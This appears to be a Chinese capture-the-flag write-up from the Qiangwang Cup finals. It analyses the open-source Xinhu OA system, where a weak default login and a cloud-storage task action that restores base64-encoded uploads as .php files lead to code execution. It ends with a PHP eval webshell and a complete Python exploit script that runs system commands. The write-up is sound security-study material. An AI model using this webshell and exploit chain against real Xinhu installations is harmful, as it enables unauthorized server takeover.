文章目录
- 写在前面
- 分析
- 脚本
写在前面
本次强网杯决赛的一个题,还是蛮有意思的,代码可以在github拿到
https://github.com/rainrocka/xinhu
分析
首先这个系统存在弱口令,在题目给的sql文件当中通过在线md5得到test/abc123
接下来就是随便找一个地方进行文件上传
我们抓包看看对这个php文件进行了什么处理,其调用了webmain/task/api/uploadAction.php
下uploadClassAction类的upfileAction函数
引入插件,实例化upfileChajian
类
跳过不需太过于关注的部分,我们跟踪up
函数
看看issavefile
是一个白名单很明显php后缀不符合
跳过不相干一堆函数
可以很明显的发现这类白名单外的文件会被改后缀为uptemp
内容为原来内容的base64编码结果,猜测估计是为了防止文件包含,不过都到这里了确实有点小单纯
接下来就是最关键的地方,在webmain\task\runt\qcloudCosAction.php
腾讯云存储下的qcloudCosClassAction
的run
方法,根据id从数据库取出数据,接下来看图
一方面恢复了php后缀,另一方面内容也通过base64还原了
运行下下面的脚本可以看见成功执行whoami
脚本
1.php
<?php eval($_GET["1"]);?>
exp.py
import requests
session = requests.session()
url_pre = 'http://url/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'dGVzdA::',
'adminpass': 'YWJjMTIz',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)